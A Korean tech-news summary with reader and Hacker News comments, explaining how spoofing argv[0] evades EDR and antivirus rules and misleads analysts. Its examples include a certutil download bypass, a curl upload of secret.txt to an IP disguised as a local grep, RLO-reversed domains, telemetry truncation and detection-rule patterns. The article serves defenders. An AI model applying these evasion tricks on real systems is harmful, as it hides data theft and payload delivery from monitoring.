9P by neo 14일전 | favorite | 댓글 2개
  • 커맨드 라인(명령줄)은 이상함
  • Windows가 특히 이런 문제로 유명하지만, 대부분의 운영 체제가 명령줄을 구현한 방식은 보안 문제를 일으킬 수 있음
  • 이 글은 프로세스의 명령줄 첫 번째 인자인 argv[0]가 프로세스의 이름을 나타내도록 예약된 관습의 문제점을 설명함

argv[0]는 과거의 유물임

  • 프로그램이 시작될 때 명령줄 인자를 받아 프로그램 내부에서 접근 가능하게 해주며, 실제로 프로그램이 시작될 때 가장 먼저 제공되는 정보 중 하나
    • 프로그램 실행 흐름을 변경하는 주요 메커니즘임
  • POSIX와 DOS/Win32에서 채택된 exec 시스템 호출 패밀리를 살펴보면
    • int execv(const char *path, char *const argv[]);
    • 이 execv 함수를 호출하려면 실행할 애플리케이션의 전체 경로를 path로, 인수가 포함된 벡터를 argv로 프로그램에 전달해야 하며, 상태 코드가 포함된 정수를 반환함
    • 이 사양에 따르면 이 호출의 결과로 프로그램이 성공적으로 실행되면 다음을 통해 대상 프로그램을 호출함 int main (int argc, char *argv[]);
  • 모든 C 표준에서 argc는 음수가 아니며, argv[argc]는 null 포인터이고, argc가 0보다 크면 argv[0]는 호출된 프로그램의 이름을 나타냄
  • 어떤 이들은 argv[0]의 필요성에 의문을 제기할 수 있음
    • "새 프로세스는 분명히 자신의 이름을 알고 있는데 왜 호출하는 프로세스의 첫 번째 프로세스 인수로 전달해야 할까?"
    • POSIX 환경에서는 프로그램이 심볼릭 링크를 통해 호출될 수 있어, 새로운 프로세스가 어떤 요청을 받았는지 알 수 있도록 돕는 장치임
    • 예를 들어, Debian의 shutdownreboot는 동일한 systemctl 실행 파일에 링크되어 있으며, 호출된 명령에 따라 다르게 동작함
  • 이것은 의심스러운 설계 결정처럼 보임
    • "프로그램이 자신의 이름에 따라 다르게 동작해야 할까?"
    • 현대적 관점에서 보면 소프트웨어의 예측 가능성을 낮추고, 현대적 설계 원칙에 반하는 것으로 보임
    • 1970-1980년대의 관점에서는 컴퓨터 자원이 부족했기 때문에 중복을 최소화하려는 시도로 보일 수 있음
    • 하지만 현재는 디스크 공간 문제가 크게 부각되지 않음. 예를 들어, macOS Sonoma에서는 shutdownreboot이 별도의 실행 파일로 존재함
    • 비슷한 두 프로그램을 하나의 파일로 통합하는 것이 정말 필요한지, 아니면 명령 인자 방식을 사용하는 것이 더 적합한지에 대한 논란이 있음
  • 이 원칙을 받아들인다고 해도 구현 자체도 논란의 여지가 있음
    • argv[0]의 정보가 프로세스 인자의 일부로 제공되어야 하는지 의문임
    • argv[0]에 의존하는 프로그램은 호출한 프로세스가 이를 정확하게 설정하지 않으면 오류가 발생할 수 있음.
    • 보안 문제에 있어서 argv[0]을 잘못된 방식으로 사용하는 프로그램도 있음
    • 더 나은 접근법은 argv[0]을 별도의 task_struct나 PEB 기능으로 분리하여 운영 체제가 이 값을 관리하도록 하는 것임
      • 이는 일관성 있는 추적을 가능하게 하고 조작의 범위를 줄임
  • 이 작업에 가장 근접한 OS는 놀랍게도 윈도우임
    • Windows는 다른 주류 운영 체제와 달리 새로운 프로세스를 생성할 때 argv[0]을 설정하지 않음
    • Windows의 API 호출(CreateProcess, ShellExecute)은 argv[0]을 실행 파일 경로에 따라 자동으로 설정함
    • 이 방식이 가장 합리적인 구현임에도 불구하고, Windows에서도 POSIX exec 호출을 채택하고 있기 때문에 argv[0]을 수동으로 설정할 방법이 존재함

argv[0]는 무시됨 (대부분의 경우)

  • argv[0]의 중요성에 대한 당신의 입장과 상관없이, 현실적으로 argv[0]은 존재하는 개념이며 문제를 동반함
  • exec 호출 시 앞서 언급한 세 가지 조건 중 첫 두 가지는 운영 체제가 처리하지만, argv[0]과 관련된 마지막 조건은 관리되지 않음
  • exec 호출자가 argv를 완전히 제어할 수 있으므로, 이 요구사항을 무시할 수 있으며, 운영 체제나 호출/호출된 프로그램 모두 이 위반을 체크하지 않음
  • argv[0] 무시의 예
    • echo를 사용해 _Hello, world!_를 출력하려면 일반적으로 execv("/usr/bin/echo", ["echo", "Hello, world!"])를 호출함
    • 하지만 execv("/usr/bin/echo", ["oopsie", "Hello, world!"])를 호출해도 echo 프로그램이 정상적으로 실행되어 _Hello, world!_가 출력됨
    • echo 프로그램은 argv[0]을 무시하고 argv[1]부터의 인자에만 집중하는 방식으로 동작함
    • 대부분의 프로그램이 argv[0]을 무시하는 유사한 접근 방식을 취함
  • argv[0] 조작의 예
    • C 언어를 비롯한 여러 프로그래밍 및 스크립팅 언어에서 argv[0]을 조작하는 방법이 제공됨:
    python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])"  
    perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"'  
    ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')"  
    bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here'  
    
  • argv[0]을 조작하는 것은 간단하며, 대부분의 프로그램 실행에 영향을 미치지 않음. 그러나 보안상으로는 문제가 있을 수 있음

argv[0]가 방어 체계를 무너뜨릴 수 있음

  • argv[0]은 보안 소프트웨어를 속이는 데 사용될 수 있음. 악의적인 사용자가 시스템을 손상시키면 공격자의 명령을 실행하여 시스템을 조작함
  • AV 및 EDR과 같은 방어 소프트웨어는 프로세스 실행을 모니터링하고, 특정 명령이 해로운 것으로 판단되면 이를 감지하거나 차단함. 대부분의 솔루션은 공격자가 자주 사용하는 명령을 적극적으로 탐지함
  • 예: certutil 명령의 오용
    • Windows의 기본 내장 명령줄 도구인 certutil은 공격에서 자주 사용됨. 초기 접근을 얻은 후 외부 페이로드를 다운로드하는 수단으로 활용됨.
    • Microsoft Defender Antivirus는 파일 다운로드 시도를 나타내는 명령줄 인자가 있는 경우 certutil 실행을 차단함. 하지만, argv[0]을 공백으로 설정하여 certutil을 시작하면 Defender는 이를 차단하지 않음
    • 이는 보안 감지가 프로그램 이름을 명령줄의 일부로 간주하기 때문에 발생하는 문제를 보여줌. 예를 들어, 감지 논리가 command_line.contains('certutil') AND command_line.contains('-urlcache')와 같이 구성된 경우, certutil이 명령줄의 일부라는 가정이 있음. 그러나, argv[0]을 조작하여 감지 논리를 우회할 수 있음
    • 효과적인 감지 논리는 process_path.endswith('certutil.exe') AND command_line.contains('-urlcache')처럼 구성하는 것이 좋음
  • argv[0]을 통한 감지 우회
    • 감지 우회는 argv[0]에 튜닝 키워드를 추가하여도 가능함. 감지는 일반적으로 기본 조건과 추가 조건을 결합하여 오탐을 필터링함
    • 예를 들어, attrib.exe가 파일을 숨기는 동작을 할 때 감지 규칙이 트리거될 수 있음. 하지만 실제로는 desktop.ini 파일에 대해 합법적으로 자주 실행됨
    • 이를 알고 있는 공격자는 argv[0]desktop.ini를 포함하여 감지를 우회할 수 있음. 예를 들어, argv = ['attrib_\desktop.ini', '+H', 'backdoor.exe']처럼 설정할 수 있음

argv[0]로 속임수 가능

  • argv[0]은 보안 소프트웨어뿐만 아니라 사람 을 속이는 데에도 악용될 수 있음
  • 보안 분석가는 EDR 소프트웨어와 같은 보안 도구가 생성한 경고를 검토하며, 이 경고에는 관련된 프로세스의 명령줄이 포함됨
  • 프로세스의 명령줄은 분석가가 경고를 추가 조사하거나 무시할지 결정하는 데 중요한 정보임
  • 예: 명령줄 속임수
    • 데이터 유출 가능성에 대한 경고가 curl -T secret.txt 123.45.67.89 명령 실행 시 발생할 수 있음. 이 명령은 파일 secret.txt를 IP 주소 123.45.67.89로 업로드함
    • 동일한 시나리오에서 argv[0]curl에서 curl localhost | grep으로 변경한 경우, 이는 여전히 유효한 명령이 됨.
    • 보안 소프트웨어는 명령줄 배열을 공백으로 구분된 문자열로 표시하므로, 이 경우 명령이 curl localhost | grep -T secret.txt 123.45.67.89로 보일 가능성이 큼
    • 분석가의 시각에서는 curl localhost가 실행되고 그 결과가 grep -T secret.txt 123.45.67.89로 전달되는 것처럼 보일 수 있음. 이는 실제로는 원격 주소로 정보를 업로드하는 동작임에도 불구하고, 로컬 주소에서 다운로드하는 것처럼 오인하게 만듦
  • Right-To-Left Override (RLO) 문자 활용
    • 악명 높은 RLO(오른쪽-왼쪽 재정렬) 문자를 사용하여 argv[0]을 조작할 수 있음
    • 이 유니코드 문자는 렌더링 애플리케이션에 이후의 문자를 역순으로 표시하도록 지시함
    • argv[0]에 RLO를 삽입하면 ping moc.elgoog.some-evil-website.comping moc.etisbew-live-emos.google.com처럼 보이게 할 수 있음
    • 이 방식은 감지 논리에는 영향을 미치지 않지만, 분석가를 속일 가능성이 있음
  • 이와 같은 기법들은 보안 소프트웨어와 사람의 눈을 속여 악성 활동을 숨기기 위해 argv[0]을 조작할 수 있는 다양한 방식을 보여줌

argv[0]이 원격 분석을 손상시킬 수 있음

  • argv[0]은 명령줄의 맨 처음에 위치하기 때문에, argv[0]에 충분한 문자를 채워 넣으면 다른 모든 인자를 명령줄 끝으로 밀어낼 수 있음
  • 이는 두 가지 이유로 문제가 될 수 있음: 먼저 흥미로운 부분을 명령줄 끝에 ‘숨겨서’ 분석가가 스크롤하지 않도록 유도할 수 있고, 더 중요한 점은 명령줄의 총 길이를 충분히 길게 만들어 모니터링 소프트웨어가 실제로 중요한 인자를 잘라내게 할 수 있음
  • 명령줄 길이 제한
    • Windows 7 이후로, Windows에서 명령줄의 최대 길이는 14,336자(약 14 KiB)로 제한됨
    • Linux 커널에서는 최대 길이가 32 페이지 크기로 하드코딩되어 있으며, 64비트 아키텍처에서 약 131,072자(128 KiB)임
    • macOS Sonoma는 최대 1,048,576자(1 MiB)의 명령줄을 허용함
    • 이는 argv[0]이 차지할 수 있는 임의 공간이 매우 많음을 의미함
  • 원격 분석 손상 사례
    • 프로세스 모니터링 소프트웨어(예: EDR)는 긴 명령줄 실행을 전부 기록하거나, 고정된 길이로 잘라내어 오버헤드를 줄일 수 있음
    • 긴 명령줄이 전부 기록될 경우, 단순히 최대 명령줄 길이를 이용해 1,000개의 프로세스를 시작함으로써 1GiB의 로그 데이터를 생성할 수 있음
    • 만약 잘라내기가 적용된다면, 명령줄 인자가 원격 분석에서 잘릴 수 있음. 예를 들어, perl -e 'exec {"echo"} "_"x50000, "Hello, world!"' 명령은 “Hello, world!”를 출력하지만, 실행의 원격 분석에는 언더스코어들만 기록되거나, 경우에 따라서는 완전히 빈 명령줄이 기록될 수 있음
    • 따라서 실제 중요한 명령줄 인자가 없으므로, 감지 논리와 분석가는 실제로 무슨 일이 일어나는지 파악하지 못하게 됨

argv[0]의 위험성: 예방과 탐지

  • argv[0]은 하나의 문제를 해결하려다 여러 다른 문제를 초래함
  • argv[0]이 곧 사라질 가능성은 적으므로, 보안 관점에서 이를 다루는 방법에 집중할 필요가 있음
  • 예방 조치
    • 소프트웨어 개발자는 argv[0]이 자신의 파일 이름과 일치하는지 비교하여 조작 여부를 확인할 수 있지만, 이는 확장성이 낮음
    • 운영 체제가 이 검사를 더 신뢰성 있게 수행할 수 있음. 프로그램의 흐름을 변경하기 위해 argv[0]에 의존하는 것은 매우 권장되지 않음
    • 개발자는 가능한 한 argv[0]과 상호작용하지 않는 것이 가장 좋음
  • 보안 전문가를 위한 탐지 방법
    • argv[0]의 작동 방식과 문제점을 인지하는 것이 명령줄 속임수를 방지하는 중요한 단계임
    • 보안 소프트웨어가 명령줄 인자를 배열로 제공할 경우, 특정 패턴을 신뢰성 있게 식별할 수 있음
    • 과도하게 긴 argv[0] 값이나 파이프 문자와 같은 의심스러운 문자를 포함한 값은 즉시 의심스러운 것으로 플래그를 지정해야 함
    • 명령줄 인자가 문자열로 제공되는 경우에도 프로그램 이름이 포함되지 않은 명령줄을 플래그 지정할 수 있음. 이는 argv[0]이 조작되었음을 시사함
    • RLO 문자의 존재 자체가 대부분의 환경에서 높은 효율성을 가진 탐지 방법임
    • 잘린 명령줄 인자의 경우, 보안 솔루션과 데이터 레이크가 이를 어떻게 처리하는지 이해하고, 생성된 원격 분석에 어떤 영향을 미치는지 파악해야 함
  • 방어 소프트웨어의 개선
    • 방어 소프트웨어는 argv[0] 남용에 대한 탐지를 개선해야 함. 의심스러운 argv[0] 값으로 소프트웨어 실행을 차단하는 것이 가능해야 하며, 거짓 긍정을 유발하지 않음
    • EDR 플랫폼은 명령줄 인자를 보고할 때 argv[0]을 제외하는 것도 고려해야 함. 이는 이 글에서 강조된 대부분의 문제를 제거하며, 포렌식 가치도 대부분의 경우 낮음
  • 궁극적으로, 아무도 argv[0]으로 인해 골칫거리를 겪고 싶어 하지 않음. 우리 소프트웨어도 마찬가지임

GN⁺의 정리

  • argv[0]는 과거의 유물로, 현대 소프트웨어 설계 원칙에 어긋남
  • 대부분의 프로그램은 argv[0]를 무시하지만, 이는 보안 문제를 일으킬 수 있음
  • argv[0]는 보안 소프트웨어와 사람을 속일 수 있으며, 텔레메트리를 손상시킬 수 있음
  • 보안 전문가들은 argv[0]의 악용을 탐지하고 방어 소프트웨어는 이를 더 잘 처리해야 함

제가 오래된 사람이라 그런지.. 글쓴이의 주장에 별로 공감이 안 되네요. 문제는 exec 인데 불똥이 argv[0]로 튀는 느낌입니다.

Hacker News 의견
  • argv[0]을 읽는 것에 대한 반대 의견은 저자의 무지나 강력한 방어가 필요함

    • busybox가 OpenWrt 박스에서 16MB 루트 파일 시스템으로 어떻게 작동해야 하는지 궁금함
    • argv[0] 값을 쓰는 것을 제한하는 논의는 고려할 만함
    • 공격자는 여전히 보안 조치를 우회할 수 있음
  • argv[0]은 수백 개의 명령어의 심볼릭 링크 대상이 되는 데 사용됨

    • Android는 대부분의 일반적인 쉘 명령어에 대해 이를 사용함
    • Toybox와 busybox가 그 예임
  • argv[0]을 사용하는 도구를 통해 컨테이너 내부에서 호스트 명령어를 실행할 수 있음

    • 예: flatpak 명령어를 호스트에서 실행하도록 설정 가능
  • 프로그램이 이름에 따라 다르게 동작하는 것은 문제가 없음

    • 프로그램 이름을 호출 인수로 포함하는 것은 매우 유용함
  • argv[0]에 대한 반대 의견은 현대 설계 원칙에 어긋난다는 주장임

    • symlink가 있는 경우 프로그램이 어떻게 호출되었는지 아는 것이 합리적임
    • python은 argv[0]을 사용하여 virtualenv 내부인지 확인하고 검색 경로를 조정함
  • argv[0]은 보안 관점에서 특별히 나쁘지 않음

    • 보안 소프트웨어가 argv 값을 인용하도록 수정하는 것이 더 나음
  • argv[0]은 문제없음

    • 대부분의 사람들은 argv[0]을 사용하여 명령어 버전을 구분함
  • busybox는 'shim' 모드에서 argv[0]을 사용함

    • 보안 문제는 SELinux와 같은 더 깊은 보안 메커니즘을 사용하는 것이 더 중요함
  • macOS는 여러 명령어가 단일 실행 파일을 가리키도록 설정함

    • argv[0]을 사용하여 CLI 사용성을 개선하고 코드 중복을 줄임
  • argv[0]을 제거하면 유용한 기능을 잃게 됨

    • 네트워크 보안은 네트워크에서 처리해야 함
    • argv[0]을 제거해도 공격자는 다른 방법을 찾을 것임